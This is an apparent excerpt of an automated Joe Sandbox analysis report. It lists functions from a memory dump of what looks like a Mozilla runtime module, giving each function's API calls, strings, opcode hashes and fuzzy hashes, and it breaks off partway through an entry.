VerSetConditionMask.NTDLL ref: 6CF03F99
VerSetConditionMask.NTDLL ref: 6CF03FA0
VerSetConditionMask.NTDLL ref: 6CF03FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CF03FB4

Strings

nvd3d9wrap.dll, xrefs: 6CF04466
nvinit.dll, xrefs: 6CF04479

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 71a7285faaaa332536eceae15460aef5ab3b574ea703907ad333b171adf2035a
Instruction ID: 6651e67ecbead7f9b444d6d3b2793849bf75eb91c95d28e5e626ea0b07e4ceb9
Opcode Fuzzy Hash: 71a7285faaaa332536eceae15460aef5ab3b574ea703907ad333b171adf2035a
Instruction Fuzzy Hash: 2D52F371A14B445FD714DF34C890AABB7F9AF85308F14492DD4968B742EB74F90ACBA0

Function 6CEDFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF4E7B8), ref: 6CEDFF81
LeaveCriticalSection.KERNEL32(6CF4E7B8), ref: 6CEE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CEE0240
EnterCriticalSection.KERNEL32(6CF4E768), ref: 6CEE025B
LeaveCriticalSection.KERNEL32(6CF4E768), ref: 6CEE027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEDFE99, 6CEDFEB7, 6CEDFED3, 6CEE0DB8, 6CEE0DD3, 6CEE19B4, 6CEE1A10
MOZ_CRASH(), xrefs: 6CEE0CA7

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: ebac7270a4e13174e64a8187d8bdd0091b9054618da1da7fdd65b257546032a4
Instruction ID: e6030198de04b3431b652893bfd8f01ead38e70478b4919025741c69d3eaabda
Opcode Fuzzy Hash: ebac7270a4e13174e64a8187d8bdd0091b9054618da1da7fdd65b257546032a4
Instruction Fuzzy Hash: 43B2CE71A057418FD714CF29C590716BBF1BF8A368F28C66CE86A8B796D770E881CB41

Function 6CEED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED4F2
LeaveCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED50B

Part of subcall function 6CECCFE0: EnterCriticalSection.KERNEL32(6CF4E784), ref: 6CECCFF6
Part of subcall function 6CECCFE0: LeaveCriticalSection.KERNEL32(6CF4E784), ref: 6CECD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED52E
EnterCriticalSection.KERNEL32(6CF4E7DC), ref: 6CEED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEED6A6
LeaveCriticalSection.KERNEL32(6CF4E7DC), ref: 6CEED712
LeaveCriticalSection.KERNEL32(6CF4E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEFD1C5), ref: 6CEED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEED7EA

Strings

<jemalloc>, xrefs: 6CEED827
: (malloc) Error initializing arena, xrefs: 6CEED82C

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 7d6c40421b384a4e791903373b49059f56dddb266082f26a03a1727adb005ed3
Instruction ID: faa7a922726f6ffad34eec2fbbf91e07fb37952dde7e4665a21b16dc60232324
Opcode Fuzzy Hash: 7d6c40421b384a4e791903373b49059f56dddb266082f26a03a1727adb005ed3
Instruction Fuzzy Hash: D091D575A047018FD754CF29C09076ABBF1EBD9358F24892ED56AC7B82D730E945CB82

Function 6CEE5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CEE5EDB
memset.VCRUNTIME140(6CF27765,000000E5,55CCCCCC), ref: 6CEE5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CEE5FB2
memset.VCRUNTIME140(6CF27765,000000E5,F4C09015), ref: 6CEE61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CEE7652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEE7BCD, 6CEE7C1F, 6CEE7C34, 6CEE80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CEE730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CEE72F8
MOZ_CRASH(), xrefs: 6CEE7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CEE72E3

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 3d26faa9b3f56ae908abf222ce4d0771e9458159b69bb0ff045f65618973dddb
Instruction ID: e5d1815b1d4b952cf6b9febf82837f65f7f8b501c37d02cf731b81d706ae9691
Opcode Fuzzy Hash: 3d26faa9b3f56ae908abf222ce4d0771e9458159b69bb0ff045f65618973dddb
Instruction Fuzzy Hash: 29336B716057018FD308CF29C590615BBF2BF8A368F39C6ADE9698B7A6D731E841CB41

Function 6CF24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CF24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF24F2E
moz_xmalloc.MOZGLUE ref: 6CF24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CF24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF252E6
Sleep.KERNEL32(00000010), ref: 6CF25481
free.MOZGLUE(?), ref: 6CF25498

Strings

(, xrefs: 6CF25250

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 2145dabd5dc3e5e8a1b325479c59dae2bf135dd9d09a42b10b73a3430dfd1f30
Instruction ID: 04e7758da8f6c370951c61df085c4453ade332b20d5a80be8e696f52ea076375
Opcode Fuzzy Hash: 2145dabd5dc3e5e8a1b325479c59dae2bf135dd9d09a42b10b73a3430dfd1f30
Instruction Fuzzy Hash: F2F1D571E28B408FC756DF39C85062BB7F5AFE6284F05872EF84AA7651DB31D8418B81

Function 6CEE9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEE9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6CEE9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CEE9F34
LeaveCriticalSection.KERNEL32(?), ref: 6CEEA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEEA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CEEA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEEA8B1, 6CEEA8D4, 6CEEA8EF

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: b15c3b91ebc7d1abf2e8bd29e21583f17054fc6c3d1e0f8ca26cb552638086a5
Instruction ID: d3ea7325b9ad72faffa6b19d006c1176c20973505ded010fa22dcd1933113e1b
Opcode Fuzzy Hash: b15c3b91ebc7d1abf2e8bd29e21583f17054fc6c3d1e0f8ca26cb552638086a5
Instruction Fuzzy Hash: 347269B2A556118FD314CF28C540615FFF1BF8A368F29C6ADE8699B791D335E842CB80

Function 6CF12C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CF12C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CF12C61

Part of subcall function 6CEC4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CEC4E5A
Part of subcall function 6CEC4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CEC4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF12C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF12E2D

Part of subcall function 6CED81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CED81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CF12E3B
(root), xrefs: 6CF1354F
expected a Time entry, xrefs: 6CF12E36

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 56088455a4db2b73a95a1ecb2efb041dde5c48a1a9f272695f198c56112b0ee6
Instruction ID: d1b55070c8b6d3dfef4aecab7f9677dd2d145fe0109edaaa77f8d860bf496bec
Opcode Fuzzy Hash: 56088455a4db2b73a95a1ecb2efb041dde5c48a1a9f272695f198c56112b0ee6
Instruction Fuzzy Hash: 85919EB060C7418FC724DF24C49469FBBF1AF8A358F10891DE5998BB51EB31D949CB92

Function 6CECD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

1, xrefs: 6CECDBDD
0, xrefs: 6CECD852
0, xrefs: 6CECDC7F
@, xrefs: 6CECDAF6
-, xrefs: 6CECD7DD
9, xrefs: 6CECDE7F
8, xrefs: 6CECDC08
, xrefs: 6CECDA88

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 3a2296db98b148dbc6bf9faa2f6996c9217df2605e119b888869df07fba155fb
Instruction ID: cc67d90242c3fa3d58deb1f218dcac3bb17d43cdb76a22e7986391426442642a
Opcode Fuzzy Hash: 3a2296db98b148dbc6bf9faa2f6996c9217df2605e119b888869df07fba155fb
Instruction Fuzzy Hash: D6629F7968C3458FD701CE18C69075ABBF2AB8635CF284A0DE4F54BB51C3769A85CB83

Function 6CF3545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF38A4B

Strings

~ql, xrefs: 6CF35703, 6CF356C7, 6CF35740, 6CF39269, 6CF3921F, 6CF39459, 6CF3948F

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: e8ae65eafb6cce554883b69b4f959694d1f5b3368cdb320bd8e5bc673708677e
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: E1B1E872E0022A9FDB14CF68CC90799B7B2EF85314F1912AAC54DDB781D730A985CBD0

Function 6CF3542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CF388F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF3925C

Strings

~ql, xrefs: 6CF35703, 6CF356C7, 6CF35740, 6CF39269, 6CF3921F, 6CF39459, 6CF3948F

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memset
String ID: ~ql
API String ID: 2221118986-287904168
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: ed102878fd9659bee28ed67df7e1fec801a816be95171dadcaccb8fe28d9e34f
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 62B1D672E0011A9FCB14CF58CC806EDB7B2EF84314F14526AC949DB785DB30AA89CBD0

Function 6CECBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CECC1CB
__aulldiv.LIBCMT ref: 6CECC24C
__aulldiv.LIBCMT ref: 6CECC348
__aullrem.LIBCMT ref: 6CECC365
__aulldiv.LIBCMT ref: 6CECC37D

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: c78564d96fe1d9669819af9c0f2c6e63dd2fe834028166c882f0ded051398d20
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: A6323632B046118FC718DE2CC891656BBE6AFC9314F19866DE8A9CB395D730ED05CB92

Function 6CF06CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CF06D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF06E1E

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 26bc03d4983032842f79143d48bf201c825d3d2f31d06eadc7c03eaa23496672
Instruction ID: d12aa453aa0ea44a84326cfa041327287dfb0bbe3ecec59e1b7d94c9cabffbea
Opcode Fuzzy Hash: 26bc03d4983032842f79143d48bf201c825d3d2f31d06eadc7c03eaa23496672
Instruction Fuzzy Hash: F9A18E746183818FC715CF24C4907AEFBF2BF99708F44491DE88A87B51DB70A849CB92

Function 6CEE4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6CEE4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CEE5585, 6CEE55A8, 6CEE55C3, 6CEE5624

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: bbda594465cc86fa80e3d9b98224be8bb356da12f0224cb017faaa533d7d4471
Instruction ID: e0da53465c9c506bbf32a853e1cf371741ed16bfb94900f4ca8a906811a9a475
Opcode Fuzzy Hash: bbda594465cc86fa80e3d9b98224be8bb356da12f0224cb017faaa533d7d4471
Instruction Fuzzy Hash: 20B24C71A066018FD308CF59C590615BBF2BFC9368F39C6ADE46A8B7A5D771E841CB80

Function 6CF285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF28C7C
__aulldiv.LIBCMT ref: 6CF28DD7

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 892356eee5e33ecd461919f7b548f9e8e3624bb7f92f7f6dea8bb6c111c30346
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 05325272F011198BDF18CEDDC4A1BAEB7B2FB88300F15853AD506BB794D6389D458B91

Function 6CF376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~ql, xrefs: 6CF3793C, 6CF37796, 6CF37B0B, 6CF37E0B, 6CF379C0, 6CF379FB

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID: ~ql
API String ID: 0-287904168
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: fc1fe0a8a6067a2c021232fc6f2383b73f66e979d1717de4115ab5e1df54cb6c
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 37320871E00629CFCB14CF99C990A9DFBF2BF88304F64916AC949A7745D731A986CF90

Function 6CF36E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~ql, xrefs: 6CF3793C, 6CF37B0B, 6CF37C72, 6CF37C03, 6CF37E0B, 6CF379C0, 6CF379FB

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID:
String ID: ~ql
API String ID: 0-287904168
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: fc93bee568c48c16dc9f0cad9afa304c4febf907e751560624c14270b2249249
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 3522D771E00229CFCB14CF98C980A9DF7B2FF88304F6591AAD949A7745D731A986CF90

Function 6CF05C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CED4A63,?,?), ref: 6CF05F06

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d860e38a358bc307edc9b11af8ff7dff7e8ed6d2a7abc46a045917c3601c6c89
Instruction ID: 9ad265e6f6eaf9882398adacf0c79fd284d9e51df32d4f68c67340e7835c5f22
